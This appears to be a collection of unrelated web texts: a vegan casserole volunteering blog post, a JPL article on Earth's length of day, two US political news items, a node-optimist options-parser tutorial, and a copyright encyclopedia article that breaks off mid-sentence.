-Posted on July 24, 2017 by The VRG Blog Editor  By Davin Cheyenne  Food is one of the few items that connects humans together. It feeds the soul and nourishes the body. When a person lacks that source of energy, discouragement and pain soon follow. To not know where your next meal is coming from or when it will be served is fear in itself. However, I do believe it goes deeper than this. Lack of food is a cut into one’s soul. Without the proper nourishment, one feels deprived deep within. Unfortunately this is not just the case for one or two people in the city of Baltimore.  One in four Baltimoreans are living in poverty according to the U.S. Census. Poverty in Baltimore has increased a whopping 20% since 1981. However with an increase of poverty and homelessness, a helping hand has been there to touch the lives of Baltimore’s most neglected. Since 1981, Our Daily Bread has existed as an employment center which provides help to thousands of people every single day, from hunger, homelessness, and unemployment. It is the place people of Baltimore seek for help and support.  I was very excited to find out that The Vegetarian Resource Group would be giving us interns the opportunity to help prepare and donate vegan casseroles to Our Daily Bread. For many people the idea of donating means to give money, which in many ways is a helpful contribution. However, I feel as though to really connect with those who you’re helping is to visit, and volunteer, and to take a few moments out of our day to prepare food or goodies for those in need.  For me, buying the ingredients, and preparing the casserole in my own home, made me appreciate being able to buy these ingredients because there are those who don’t have a dollar to their name. Preparing the casserole on my table, in my home, made an even meaningful impact on my heart because I know that there are many who eat outside near a trash can with fire in it trying to stay warm. As I finished wrapping the casserole and opened the freezer to let it freeze, the chill made me think of those who had to survive the summer’s humidity. The physical experience of making this casserole was only 30 minutes, but it was more than making food for those in need, it was feeding souls, of humans just like me while feeding my soul as well.  Casey and I chose to make the creamy bean and potato casserole!  As our group of interns stepped into Our Daily Bread the morning of June 27th, we had the pleasure of knowing that many of the staff that provide the food are volunteers, and that over 700 mouths are fed every day! Another thing that caught me off guard was that Our Daily Bread served many vegetarian meals, which included a source of protein, 2 sides of veggies, and one side of fruit, and a dessert.  The Our Daily Bread Employment Center is a lifeline for those in need. To know that I helped contribute to an organization that helps serve meals to Maryland’s hungry, assists homeless men to make the transition to employment, stable housing, and self-sufficiency through the Christopher Place Employment Academy makes me a lifelong supporter, and advocate to encourage all of us to help donate vegan casseroles to Our Daily Bread, or any food center in your community.  If you are in the Baltimore area and would like to volunteer, or even cater vegan casseroles to our Daily Bread, the location is 725 Fallsway, Baltimore, MD, 21202, and they can be reached by telephone at (443) 986-9000. You can also visit their website for vegan recipe options (last three) (created by VRG’s Foodservice Advisor Nancy Berkoff) at http://www.catholiccharities-md.org/our-daily-bread/odb-food-service/favorite-casserole-recipes.html  I hope that by reading this you are encouraged to donate, volunteer, or spend a few moments at Our Daily Bread to really know why making these casseroles really is a life changing experience. If you don’t live in Maryland, please prepare and donate these casseroles to your local nonprofit, which feeds the needy.
-All days are not created equal. Some don't just seem longer than others -- they are.  A classic movie about World War II's D-Day was called "The Longest Day." However, scientifically, that title was not correct. That was not the longest day. Nor is a summer solstice, June 21, when the period between sunrise and sunset is the longest in the northern hemisphere.  The longest day in the past century occurred sometime during 1912, according to JPL geophysicist Dr. Richard Gross. The shortest day in the past 100 years was August 2, 2001, when the length of time that it took Earth to make one complete turn on its axis actually dipped below 24 hours by about one-thousandth of a second.  Gross studies Earth's rotation. As it turns out, Earth doesn't rotate like clockwork. In a recent paper in the journal Physics of the Earth and Planetary Interiors, Gross combined several series of length-of-day measurements into one that spans from 1832 to 1997 and smoothed out some of the error with a sophisticated mathematical formula.  "The length of the day changes about a millisecond over the course of a year," says Gross. "It gradually increases in the winter, when Earth rotates more slowly, and decreases in the summer. There are also longer patterns of changes in the length of day that last decades, even centuries."  Since there are 86,400 seconds in a 24-hour day, a few thousandths of a second might not seem to make much difference, but they do. Knowing exactly when and how much Earth's rotation varies may lead to better models of the atmosphere and oceans, improved weather prediction and a greater understanding of the planet's inner workings.  In addition to his research, Gross works with a group at JPL that uses the global positioning system to measure Earth's rotation very precisely, to about one-hundredth of a millisecond. "JPL is one of the few places in the world that has an application for this kind of work," says Gross, "and that's spacecraft navigation."  "If, say, you want to send a lander to Mars," says Gross, "you can track the spacecraft with respect to Earth. So you need to know exactly how Earth is oriented in order to make the right course maneuvers to target a particular landing site on Mars."  "If Earth rotated uniformly, you would know how it is oriented at any particular time in relation to Mars or any other place," says Gross, "but Earth doesn't rotate uniformly."  Gross tries to understand these changes and how to predict them.  "Variations in the length of day were first noted by Edmond Halley in 1695," says Gross. "He was looking at the Moon's motion and thought he saw it accelerating. What he really saw was the Earth slowing down."  Since Halley's time, scientists have used a variety of techniques to measure Earth's rate of rotation. First they used astronomical methods. Now they use lunar and satellite laser ranging; a technique called very long baseline interferometry; and the global positioning system.  The length of the day--how fast or slow the Earth rotates--depends on how Earth's mass is distributed. Its mass includes the atmosphere, the solid Earth and its fluid core. When the distribution of Earth's mass changes, as during a major earthquake, for example, so does the speed of its rotation. "It's like an ice skater," says Gross, "who spins faster as she brings in her arms. She is changing her mass distribution."  "The annual changes in the length of the day," says Gross, "are caused mostly by the atmosphere -- changes in the strength and direction of the winds, especially the jet stream. The Sun warms the equator more than the poles. That temperature difference is largely responsible for the jet stream. Seasonal changes in that temperature difference cause changes in the winds and, hence, the length of the day."  The longer patterns in changes of the length of the day can last for decades. "These are caused by processes within Earth's core," says Gross. "The core is a fluid. Its motion generates Earth's magnetic field. Changes in its motion can change the rotation of solid Earth. Observing the magnetic field at the surface gives us an idea of how fluid is moving within the core. These changes in the fluid motion inferred from the magnetic field match the longer period changes we see in the length of the day."  We happen to be in the midst of one of these long-term patterns now. Annually, the length of the day has been getting shorter since 1992 . If the trend continues, says Gross, the shortest day may well appear this summer.
-On Tuesday, Sandy Rios of the American Family Association denounced the nomination of Wilhelmina Wright for a seat on the federal district court in Minnesota, urging Senate Republicans to not only oppose Wright but also to block every single one of President Obama’s remaining judicial nominees.  The Senate confirmed Wright’s nomination yesterday, angering Rios, who invited right-wing activist Phillip Jauregui of the Judicial Action Group on to her radio show this morning to talk about the importance of judicial nominations.  Rios told Jauregui that the Senate must stop even holding a vote for President Obama’s judicial nominees because “when you put judges on the court who do not respect the Constitution or are not really loyal to American values as expressed in the Constitution, there is no justice.”  The two moved on to discuss the Supreme Court’s decision to take up a case on the legality of Obama’s executive actions on immigration, which Rios found “tremendously concerning because that court is out of control itself and is not delivering justice, they’re delivering their own personal opinions.”  She cited the Obergefell decision, which struck down state bans on same-sex marriage, as one such ruling, saying she was “just devastated” upon hearing about the “absolutely irrational” decision. “It made no sense whatsoever and I don’t trust them anymore,” she said.  Jauregui, criticizing Justice Kennedy’s “horrendous” opinion in Obergefell, said that the justice is “horrible and he’s honestly a judge that ought to be impeached”  Later, Jauregui claimed that members of Congress would never block the president’s executive actions, giving him a reason to issue further ones of questionable legality. “This is not far from an imperial dictator we’re talking about,” he said.  Rios urged congressional Republicans to “find their spine” and stop spending time hating on Ted Cruz.
-Hey everyone! This is the second post in my new node.js modules you should know about article series.  The first post was about dnode - the freestyle rpc library for node.  This time I'll introduce you to node-optimist - the lightweight options parser library. This library is also written by James Halliday (SubStack), my co-founder of Browserling and Testling.  Wonder how lightweight an options parser can be? Check this out:  var argv = require('optimist').argv;  And you're done! All options have been parsed for you and have been put in argv .  Here are various use cases. First off, it supports long arguments:  #!/usr/bin/env node var argv = require('optimist').argv; if (argv.rif - 5 * argv.xup > 7.138) { console.log('Buy more riffiwobbles'); } else { console.log('Sell the xupptumblers'); }  Now you can run this script with --rif and --xup arguments like this:  $ ./xup.js --rif=55 --xup=9.52 Buy more riffiwobbles $ ./xup.js --rif 12 --xup 8.1 Sell the xupptumblers  I know you want to buy more riffiwobbles and sell your xupptumblers.  Next, it supports short args:  #!/usr/bin/env node var argv = require('optimist').argv; console.log('(%d,%d)', argv.x, argv.y);  You can use -x and -y as arguments:  $ ./short.js -x 10 -y 21 (10,21)  Then node-optimist supports boolean arguments, both short, long and grouped:  #!/usr/bin/env node var argv = require('optimist').argv; if (argv.s) { console.log(argv.fr ? 'Le chat dit: ' : 'The cat says: '); } console.log( (argv.fr ? 'miaou' : 'meow') + (argv.p ? '.' : '') );  And now you can invoke the script with various options:  $ ./bool.js -s The cat says: meow $ ./bool.js -sp The cat says: meow. $ ./bool.js -sp --fr Le chat dit: miaou.  Next, you can easily get to non-hypenated options via argv._ :  #!/usr/bin/env node var argv = require('optimist').argv; console.log('(%d,%d)', argv.x, argv.y); console.log(argv._);  Here are use cases for non-hypenated options:  $ ./nonopt.js -x 6.82 -y 3.35 moo (6.82,3.35) [ 'moo' ] $ ./nonopt.js foo -x 0.54 bar -y 1.12 baz (0.54,1.12) [ 'foo', 'bar', 'baz' ]  Optimist also comes with .usage() and .demand() functions:  #!/usr/bin/env node var argv = require('optimist') .usage('Usage: $0 -x [num] -y [num]') .demand(['x','y']) .argv; console.log(argv.x / argv.y);  Here arguments x and y are required and if they are not passed, the usage will be printed automatically:  $ ./divide.js -x 55 -y 11 5 $ node ./divide.js -x 4.91 -z 2.51 Usage: node ./divide.js -x [num] -y [num] Options: -x [required] -y [required] Missing required arguments: y  Optimist also supports default arguments via .default() :  #!/usr/bin/env node var argv = require('optimist') .default('x', 10) .default('y', 10) .argv ; console.log(argv.x + argv.y);  Here x and y default to 10:  $ ./default_singles.js -x 5 15  Enjoy this stranger:  Alternatively you can use isaacs's nopt that can enforce data types on arguments and can be used to easily handle a lot of arguments. Or you can use nomnom that noms your args and gives them back to you in a hash.
-Day Five of the Trump vs. Khan saga just received a heavy oxygen blast, as President Barack Obama declared this morning that the GOP nominee is "unfit to serve as president," and reckoned that Republicans should be asking themselves, "if you are repeatedly having to say in very strong terms that what he has said is unacceptable, why are you still endorsing him?"  One Republican still endorsing Donald Trump—and not condemning the Khan comments, as far as I can ascertain—is the libertarianish former presidential candidate Sen. Rand Paul (R-Kentucky). Paul, who skipped the Republican National Convention to perform pro bono surgeries curing the blind, has kept a low profile on Twitter aside from highlighting his re-election swing through the Bluegrass State, and had a spokesman respond to a Wall Street Journal query on Khan thusly: "Senator Rand Paul is focused solely on Kentucky and won't be weighing in on the presidential race at this time."  However, when asked last week about Trump by Louisville's WDRB, Paul said "it's clear" that the Republican nominee would be better than Hillary Clinton on manufacturing, taxes, and regulations, then characterized Trump's loose tongue like so: "Will people sometimes say things that are untoward or not what we wish them to say? Yes, that happens of every candidate….I always tell people the only perfect candidate is if you get to be the candidate or I get to be the candidate, then we agree with ourselves 100 percent of the time."  But Sen. Paul sounded some different and more Libertarian-friendly notes two weeks ago at FreedomFest, when asked by an audience member "What would you say to someone who says that voting for Gary Johnson is the same as voting for Hillary?" His answer, in full:  You know, (four second pause) they aren't the same. I mean, everybody has their decision to make on how they will vote. Some people are very practical minded, and they say "In all likelihood it's going to be Trump or Clinton. Which is the least bad?" And many will vote that way. And some will say, "No but I truly believe in limited government, the Constitution and a non-interventionist foreign policy, and I have a consistent philosophy. I want a candidate more of my liking." And they may well vote for, you know, a third party at that point. So the debate has to be [with] each individual. All I can tell you is from my point of view, I've made my complaints about our nominee quite explicit. I continue to do so, but also don't see it as my job now—the thing is, is: I do think that my word is important. I signed a document, not under duress, but I signed a document saying I wouldn't run as a third party [candidate] and I will support the nominee. And I've supported nominees I haven't been perfectly happy with. I wasn't perfectly happy in 2012; I knew a guy that would have been a lot better in 2012.  After the jump, some other interesting tidbits about the presidential campaign and executive power from Rand Paul's FreedomFest speech.  Have you heard any of the candidates saying…that there is too much power that has gravitated to the presidency? I'm hearing the opposite. I'm hearing people say "Give me more power, and I'll fix it! We'll be great again if you can give me power! By the sheer might of my will we will make things better!" But really there's a lesson of history that we don't want to forget. The lesson of history is that power corrupts, that absolute power corrupts absolutely, and we don't want to fool ourselves into thinking it just means we've got to give the power to our guy, or our girl.  In other Paul/Johnson news, Rand Paul's dad still hasn't decided which third-party candidate he'll vote for.
-legal concept  This article is about the legal right. For the symbol, see Copyright symbol . For the Wikipedia policy about copyright issues, see Wikipedia:Copyrights  Not to be confused with Copywriting  Copyright is a legal right, existing in many countries, that grants the creator of an original work exclusive rights to determine whether, and under what conditions, this original work may be used by others.[1][2] This is usually only for a limited time. Copyright is one of two types of intellectual property rights, the other is industrial property rights.[3][4][5] The exclusive rights are not absolute but limited by limitations and exceptions to copyright law, including fair use. A major limitation on copyright on ideas is that copyright protects only the original expression of ideas, and not the underlying ideas themselves.[citation needed] [6][7]  Copyright is applicable to certain forms of creative work. Some, but not all jurisdictions require "fixing" copyrighted works in a tangible form. It is often shared among multiple authors, each of whom holds a set of rights to use or license the work, and who are commonly referred to as rights holders.[citation needed][8][9][10][11] These rights frequently include reproduction, control over derivative works, distribution, public performance, and moral rights such as attribution. [12]  Copyrights can be granted by public law and are in that case considered "territorial rights". This means that copyrights granted by the law of a certain state, do not extend beyond the territory of that specific jurisdiction. Copyrights of this type vary by country; many countries, and sometimes a large group of countries, have made agreements with other countries on procedures applicable when works "cross" national borders or national rights are inconsistent.[13]  Typically, the public law duration of a copyright expires 50 to 100 years after the creator dies, depending on the jurisdiction. Some countries require certain copyright formalities to establishing copyright, others recognize copyright in any completed work, without formal registration. Generally, copyright is enforced as a civil matter, though some jurisdictions do apply criminal sanctions.  Most jurisdictions recognize copyright limitations, allowing "fair" exceptions to the creator's exclusivity of copyright and giving users certain rights. The development of digital media and computer network technologies have prompted reinterpretation of these exceptions, introduced new difficulties in enforcing copyright, and inspired additional challenges to the philosophical basis of copyright law.[citation needed] Simultaneously, businesses with great economic dependence upon copyright, such as those in the music business, have advocated the extension and expansion of copyright and sought additional legal and technological enforcement.[14][additional citation(s) needed]  Copyright licenses can also be granted by those deputized by the original claimant, and private companies may request this as a condition of doing business with them. Services of internet platform providers like YouTube, Facebook, GitHub, Hotmail, DropBox, Instagram, WhatsApp or Twitter only can be used when users grant the platform provider beforehand the right to co-use all uploaded content, including all material exchanged per email, chat or cloud-storage. These copyrights only apply for the firm that operates such a platform, no matter in what jurisdiction the platform-services are being offered. Private companies in general do not recognize exceptions or give users more rights than the right to use the platform according certain rules.[15][better source needed][additional citation(s) needed]  History [ edit ]  Background [ edit ]  Copyright came about with the invention of the printing press and with wider literacy. As a legal concept, its origins in Britain were from a reaction to printers' monopolies at the beginning of the 18th century. The English Parliament was concerned about the unregulated copying of books and passed the Licensing of the Press Act 1662,[16] which established a register of licensed books and required a copy to be deposited with the Stationers' Company, essentially continuing the licensing of material that had long been in effect.  Copyright laws allow products of creative human activities, such as literary and artistic production, to be preferentially exploited and thus incentivized. Different cultural attitudes, social organizations, economic models and legal frameworks are seen to account for why copyright emerged in Europe and not, for example, in Asia. In the Middle Ages in Europe, there was generally a lack of any concept of literary property due to the general relations of production, the specific organization of literary production and the role of culture in society. The latter refers to the tendency of oral societies, such as that of Europe in the medieval period, to view knowledge as the product and expression of the collective, rather than to see it as individual property. However, with copyright laws, intellectual production comes to be seen as a product of an individual, with attendant rights. The most significant point is that patent and copyright laws support the expansion of the range of creative human activities that can be commodified. This parallels the ways in which capitalism led to the commodification of many aspects of social life that earlier had no monetary or economic value per se.[17]  Copyright has grown from a legal concept regulating copying rights in the publishing of books and maps to one with a significant effect on nearly every modern industry, covering such items as sound recordings, films, photographs, software, and architectural works.  National copyrights [ edit ]  Often seen as the first real copyright law, the 1709 British Statute of Anne gave the publishers rights for a fixed period, after which the copyright expired.[18] The act also alluded to individual rights of the artist. It began, "Whereas Printers, Booksellers, and other Persons, have of late frequently taken the Liberty of Printing ... Books, and other Writings, without the Consent of the Authors ... to their very great Detriment, and too often to the Ruin of them and their Families:".[19] A right to benefit financially from the work is articulated, and court rulings and legislation have recognized a right to control the work, such as ensuring that the integrity of it is preserved. An irrevocable right to be recognized as the work's creator appears in some countries' copyright laws.  The Copyright Clause of the United States, Constitution (1787) authorized copyright legislation: "To promote the Progress of Science and useful Arts, by securing for limited Times to Authors and Inventors the exclusive Right to their respective Writings and Discoveries." That is, by guaranteeing them a period of time in which they alone could profit from their works, they would be enabled and encouraged to invest the time required to create them, and this would be good for society as a whole. A right to profit from the work has been the philosophical underpinning for much legislation extending the duration of copyright, to the life of the creator and beyond, to their heirs.  The original length of copyright in the United States was 14 years, and it had to be explicitly applied for. If the author wished, they could apply for a second 14‑year monopoly grant, but after that the work entered the public domain, so it could be used and built upon by others.  Copyright law was enacted rather late in German states, and the historian Eckhard Höffner argues that the absence of copyright laws in the early 19th century encouraged publishing, was profitable for authors, led to a proliferation of books, enhanced knowledge, and was ultimately an important factor in the ascendency of Germany as a power during that century.[20]  International copyright treaties [ edit ]  The Pirate Publisher—An International Burlesque that has the Longest Run on Record, from Puck, 1886, satirizes the then-existing situation where a publisher could profit by simply stealing newly published works from one country, and publishing them in another, and vice versa. , from, 1886, satirizes the then-existing situation where a publisher could profit by simply stealing newly published works from one country, and publishing them in another, and vice versa.  The 1886 Berne Convention first established recognition of copyrights among sovereign nations, rather than merely bilaterally. Under the Berne Convention, copyrights for creative works do not have to be asserted or declared, as they are automatically in force at creation: an author need not "register" or "apply for" a copyright in countries adhering to the Berne Convention.[21] As soon as a work is "fixed", that is, written or recorded on some physical medium, its author is automatically entitled to all copyrights in the work, and to any derivative works unless and until the author explicitly disclaims them, or until the copyright expires. The Berne Convention also resulted in foreign authors being treated equivalently to domestic authors, in any country signed onto the Convention. The UK signed the Berne Convention in 1887 but did not implement large parts of it until 100 years later with the passage of the Copyright, Designs and Patents Act 1988. Specially, for educational and scientific research purposes, the Berne Convention provides the developing countries issue compulsory licenses for the translation or reproduction of copyrighted works within the limits prescribed by the Convention. This was a special provision that had been added at the time of 1971 revision of the Convention, because of the strong demands of the developing countries. The United States did not sign the Berne Convention until 1989.[22]  The United States and most Latin American countries instead entered into the Buenos Aires Convention in 1910, which required a copyright notice on the work (such as all rights reserved), and permitted signatory nations to limit the duration of copyrights to shorter and renewable terms.[23][24][25] The Universal Copyright Convention was drafted in 1952 as another less demanding alternative to the Berne Convention, and ratified by nations such as the Soviet Union and developing nations.  The regulations of the Berne Convention are incorporated into the World Trade Organization's TRIPS agreement (1995), thus giving the Berne Convention effectively near-global application.[26]  In 1961, the United International Bureaux for the Protection of Intellectual Property signed the Rome Convention for the Protection of Performers, Producers of Phonograms and Broadcasting Organizations. In 1996, this organization was succeeded by the founding of the World Intellectual Property Organization, which launched the 1996 WIPO Performances and Phonograms Treaty and the 2002 WIPO Copyright Treaty, which enacted greater restrictions on the use of technology to copy works in the nations that ratified it. The Trans-Pacific Partnership includes intellectual Property Provisions relating to copyright.  Copyright laws are standardized somewhat through these international conventions such as the Berne Convention and Universal Copyright Convention. These multilateral treaties have been ratified by nearly all countries, and international organizations such as the European Union or World Trade Organization require their member states to comply with them.  Obtaining protection [ edit ]  Ownership [ edit ]  The original holder of the copyright may be the employer of the author rather than the author himself if the work is a "work for hire".[27] For example, in English law the Copyright, Designs and Patents Act 1988 provides that if a copyrighted work is made by an employee in the course of that employment, the copyright is automatically owned by the employer which would be a "Work for Hire". Typically, the first owner of a copyright is the person who created the work i.e. the author.[28][28] But when more than one person creates the work, then a case of joint authorship can be made provided some criteria are met.  Eligible works [ edit ]  Copyright may apply to a wide range of creative, intellectual, or artistic forms, or "works". Specifics vary by jurisdiction, but these can include poems, theses, fictional characters plays and other literary works, motion pictures, choreography, musical compositions, sound recordings, paintings, drawings, sculptures, photographs, computer software, radio and television broadcasts, and industrial designs. Graphic designs and industrial designs may have separate or overlapping laws applied to them in some jurisdictions.[29][30]  Copyright does not cover ideas and information themselves, only the form or manner in which they are expressed.[31] For example, the copyright to a Mickey Mouse cartoon restricts others from making copies of the cartoon or creating derivative works based on Disney's particular anthropomorphic mouse, but does not prohibit the creation of other works about anthropomorphic mice in general, so long as they are different enough to not be judged copies of Disney's.[31] Note additionally that Mickey Mouse is not copyrighted because characters cannot be copyrighted; rather, Steamboat Willie is copyrighted and Mickey Mouse, as a character in that copyrighted work, is afforded protection.  Originality [ edit ]  Typically, a work must meet minimal standards of originality in order to qualify for copyright, and the copyright expires after a set period of time (some jurisdictions may allow this to be extended). Different countries impose different tests, although generally the requirements are low; in the United Kingdom there has to be some "skill, labour, and judgment" that has gone into it.[32] In Australia and the United Kingdom it has been held that a single word is insufficient to comprise a copyright work. However, single words or a short string of words can sometimes be registered as a trademark instead.  Copyright law recognizes the right of an author based on whether the work actually is an original creation, rather than based on whether it is unique; two authors may own copyright on two substantially identical works, if it is determined that the duplication was coincidental, and neither was copied from the other.  Registration [ edit ]  A copyright certificate for proof of the Fermat's Last Theorem , issued by the State Department of Intellectual Property of Ukraine.  In all countries where the Berne Convention standards apply, copyright is automatic, and need not be obtained through official registration with any government office. Once an idea has been reduced to tangible form, for example by securing it in a fixed medium (such as a drawing, sheet music, photograph, a videotape, or a computer file), the copyright holder is entitled to enforce his or her exclusive rights.[21] However, while registration isn't needed to exercise copyright, in jurisdictions where the laws provide for registration, it serves as prima facie evidence of a valid copyright and enables the copyright holder to seek statutory damages and attorney's fees.[33] (In the US, registering after an infringement only enables one to receive actual damages and lost profits.)  A widely circulated strategy to avoid the cost of copyright registration is referred to as the poor man's copyright. It proposes that the creator send the work to himself in a sealed envelope by registered mail, using the postmark to establish the date. This technique has not been recognized in any published opinions of the United States courts. The United States Copyright Office says the technique is not a substitute for actual registration.[34] The United Kingdom Intellectual Property Office discusses the technique and notes that the technique (as well as commercial registries) does not constitute dispositive proof that the work is original or establish who created the work.[35][36]  Fixing [ edit ]  The Berne Convention allows member countries to decide whether creative works must be "fixed" to enjoy copyright. Article 2, Section 2 of the Berne Convention states: "It shall be a matter for legislation in the countries of the Union to prescribe that works in general or any specified categories of works shall not be protected unless they have been fixed in some material form." Some countries do not require that a work be produced in a particular form to obtain copyright protection. For instance, Spain, France, and Australia do not require fixation for copyright protection. The United States and Canada, on the other hand, require that most works must be "fixed in a tangible medium of expression" to obtain copyright protection.[37] U.S. law requires that the fixation be stable and permanent enough to be "perceived, reproduced or communicated for a period of more than transitory duration." Similarly, Canadian courts consider fixation to require that the work be "expressed to some extent at least in some material form, capable of identification and having a more or less permanent endurance."[37]  Copyright notice [ edit ]  A copyright symbol used in copyright notice  Before 1989, United States law required the use of a copyright notice, consisting of the copyright symbol (©, the letter C inside a circle), the abbreviation "Copr.", or the word "Copyright", followed by the year of the first publication of the work and the name of the copyright holder.[38][39] Several years may be noted if the work has gone through substantial revisions. The proper copyright notice for sound recordings of musical or other audio works is a sound recording copyright symbol (℗, the letter P inside a circle), which indicates a sound recording copyright, with the letter P indicating a "phonorecord". In addition, the phrase All rights reserved was once required to assert copyright, but that phrase is now legally obsolete. Almost everything on the Internet has some sort of copyright attached to it. Whether these things are watermarked, signed, or have any other sort of indication of the copyright is a different story however.[40]  In 1989 the United States enacted the Berne Convention Implementation Act, amending the 1976 Copyright Act to conform to most of the provisions of the Berne Convention. As a result, the use of copyright notices has become optional to claim copyright, because the Berne Convention makes copyright automatic.[41] However, the lack of notice of copyright using these marks may have consequences in terms of reduced damages in an infringement lawsuit – using notices of this form may reduce the likelihood of a defense of "innocent infringement" being successful.[42]  Enforcement [ edit ]  Copyrights are generally enforced by the holder in a civil law court, but there are also criminal infringement statutes in some jurisdictions. While central registries are kept in some countries which aid in proving claims of ownership, registering does not necessarily prove ownership, nor does the fact of copying (even without permission) necessarily prove that copyright was infringed. Criminal sanctions are generally aimed at serious counterfeiting activity, but are now becoming more commonplace as copyright collectives such as the RIAA are increasingly targeting the file sharing home Internet user. Thus far, however, most such cases against file sharers have been settled out of court. (See: Legal aspects of file sharing)  In most jurisdictions the copyright holder must bear the cost of enforcing copyright. This will usually involve engaging legal representation, administrative or court costs. In light of this, many copyright disputes are settled by a direct approach to the infringing party in order to settle the dispute out of court.  "...by 1978, the scope was expanded to apply to any 'expression' that has been 'fixed' in any medium, this protection granted automatically whether the maker wants it or not, no registration required."[43]  Copyright infringement [ edit ]  For a work to be considered to infringe upon copyright, its use must have occurred in a nation that has domestic copyright laws or adheres to a bilateral treaty or established international convention such as the Berne Convention or WIPO Copyright Treaty. Improper use of materials outside of legislation is deemed "unauthorized edition", not copyright infringement.[44]  Statistics regarding the effects of copyright infringement are difficult to determine. Studies have attempted to determine whether there is a monetary loss for industries affected by copyright infringement by predicting what portion of pirated works would have been formally purchased if they had not been freely available.[45] Other reports indicate that copyright infringement does not have an adverse effect on the entertainment industry, and can have a positive effect.[46] In particular, a 2014 university study concluded that free music content, accessed on YouTube, does not necessarily hurt sales, instead has the potential to increase sales.[47]  Rights granted [ edit ]  Exclusive rights [ edit ]  Several exclusive rights typically attach to the holder of a copyright:  protection of the work  to determine and decide how, and under what conditions, the work may be marketed, publicly displayed, reproduced, distributed etc.  to produce copies or reproductions of the work and to sell those copies (including, typically, electronic copies)  to import or export the work  to create derivative works (works that adapt the original work)  to perform or display the work publicly  to sell or cede these rights to others  to transmit or display by radio, video or internet.[48]  The basic right when a work is protected by copyright is that the holder may determine and decide how and under what conditions the protected work may be used by others. This includes the right to decide to distribute the work for free. This part of copyright is often overseen. The phrase "exclusive right" means that only the copyright holder is free to exercise those rights, and others are prohibited from using the work without the holder's permission. Copyright is sometimes called a "negative right", as it serves to prohibit certain people (e.g., readers, viewers, or listeners, and primarily publishers and would be publishers) from doing something they would otherwise be able to do, rather than permitting people (e.g., authors) to do something they would otherwise be unable to do. In this way it is similar to the unregistered design right in English law and European law. The rights of the copyright holder also permit him/her to not use or exploit their copyright, for some or all of the term. There is, however, a critique which rejects this assertion as being based on a philosophical interpretation of copyright law that is not universally shared. There is also debate on whether copyright should be considered a property right or a moral right.[49]  Duration [ edit ]  Expansion of U.S. copyright law (currently based on the date of creation or publication).  Copyright subsists for a variety of lengths in different jurisdictions. The length of the term can depend on several factors, including the type of work (e.g. musical composition, novel), whether the work has been published, and whether the work was created by an individual or a corporation. In most of the world, the default length of copyright is the life of the author plus either 50 or 70 years. In the United States, the term for most existing works is a fixed number of years after the date of creation or publication. Under most countries' laws (for example, the United States[50] and the United Kingdom[51]), copyrights expire at the end of the calendar year in question.  The length and requirements for copyright duration are subject to change by legislation, and since the early 20th century there have been a number of adjustments made in various countries, which can make determining the duration of a given copyright somewhat difficult. For example, the United States used to require copyrights to be renewed after 28 years to stay in force, and formerly required a copyright notice upon first publication to gain coverage. In Italy and France, there were post-wartime extensions that could increase the term by approximately 6 years in Italy and up to about 14 in France. Many countries have extended the length of their copyright terms (sometimes retroactively). International treaties establish minimum terms for copyrights, but individual countries may enforce longer terms than those.[52]  In the United States, all books and other works published before 1923 have expired copyrights and are in the public domain.[53] In addition, works published before 1964 that did not have their copyrights renewed 28 years after first publication year also are in the public domain. Hirtle points out that the great majority of these works (including 93% of the books) were not renewed after 28 years and are in the public domain.[54] Books originally published outside the US by non-Americans are exempt from this renewal requirement, if they are still under copyright in their home country.  But if the intended exploitation of the work includes publication (or distribution of derivative work, such as a film based on a book protected by copyright) outside the U.S., the terms of copyright around the world must be considered. If the author has been dead more than 70 years, the work is in the public domain in most, but not all, countries.  In 1998, the length of a copyright in the United States was increased by 20 years under the Copyright Term Extension Act. This legislation was strongly promoted by corporations which had valuable copyrights which otherwise would have expired, and has been the subject of substantial criticism on this point.[55]  Limitations and exceptions [ edit ]  In many jurisdictions, copyright law makes exceptions to these restrictions when the work is copied for the purpose of commentary or other related uses. US copyright does NOT cover names, title, short phrases or Listings (such as ingredients, recipes, labels, or formulas).[56] However, there are protections available for those areas copyright does not cover – such as trademarks and patents.  There are some exceptions to what copyright will protect. Copyright will not protect:  Names of products  Names of businesses, organizations, or groups  Pseudonyms of individuals  Titles of works  Catchwords, catchphrases, mottoes, slogans, or short advertising expressions  Listings of ingredients in recipes, labels, and formulas, though the directions can be copyrighted  Idea–expression dichotomy and the merger doctrine [ edit ]  The idea–expression divide differentiates between ideas and expression, and states that copyright protects only the original expression of ideas, and not the ideas themselves. This principle, first clarified in the 1879 case of Baker v. Selden, has since been codified by the Copyright Act of 1976 at 17 U.S.C. § 102(b).  The first-sale doctrine and exhaustion of rights [ edit ]  Copyright law does not restrict the owner of a copy from reselling legitimately obtained copies of copyrighted works, provided that those copies were originally produced by or with the permission of the copyright holder. It is therefore legal, for example, to resell a copyrighted book or CD. In the United States this is known as the first-sale doctrine, and was established by the courts to clarify the legality of reselling books in second-hand bookstores.  Some countries may have parallel importation restrictions that allow the copyright holder to control the aftermarket. This may mean for example that a copy of a book that does not infringe copyright in the country where it was printed does infringe copyright in a country into which it is imported for retailing. The first-sale doctrine is known as exhaustion of rights in other countries and is a principle which also applies, though somewhat differently, to patent and trademark rights. It is important to note that the first-sale doctrine permits the transfer of the particular legitimate copy involved. It does not permit making or distributing additional copies.  In Kirtsaeng v. John Wiley & Sons, Inc.,[57] in 2013, the United States Supreme Court held in a 6-3 decision that the first-sale doctrine applies to goods manufactured abroad with the copyright owner's permission and then imported into the US without such permission. The case involved a plaintiff who imported Asian editions of textbooks that had been manufactured abroad with the publisher-plaintiff's permission. The defendant, without permission from the publisher, imported the textbooks and resold on eBay. The Supreme Court's holding severely limits the ability of copyright holders to prevent such importation.  In addition, copyright, in most cases, does not prohibit one from acts such as modifying, defacing, or destroying his or her own legitimately obtained copy of a copyrighted work, so long as duplication is not involved. However, in countries that implement moral rights, a copyright holder can in some cases successfully prevent the mutilation or destruction of a work that is publicly visible.  Fair use and fair dealing [ edit ]  Copyright does not prohibit all copying or replication. In the United States, the fair use doctrine, codified by the Copyright Act of 1976 as 17 U.S.C. Section 107, permits some copying and distribution without permission of the copyright holder or payment to same. The statute does not clearly define fair use, but instead gives four non-exclusive factors to consider in a fair use analysis. Those factors are:  the purpose and character of one's use the nature of the copyrighted work what amount and proportion of the whole work was taken, and the effect of the use upon the potential market for or value of the copyrighted work.[58]  In the United Kingdom and many other Commonwealth countries, a similar notion of fair dealing was established by the courts or through legislation. The concept is sometimes not well defined; however in Canada, private copying for personal use has been expressly permitted by statute since 1999. In Alberta (Education) v. Canadian Copyright Licensing Agency (Access Copyright), 2012 SCC 37, the Supreme Court of Canada concluded that limited copying for educational purposes could also 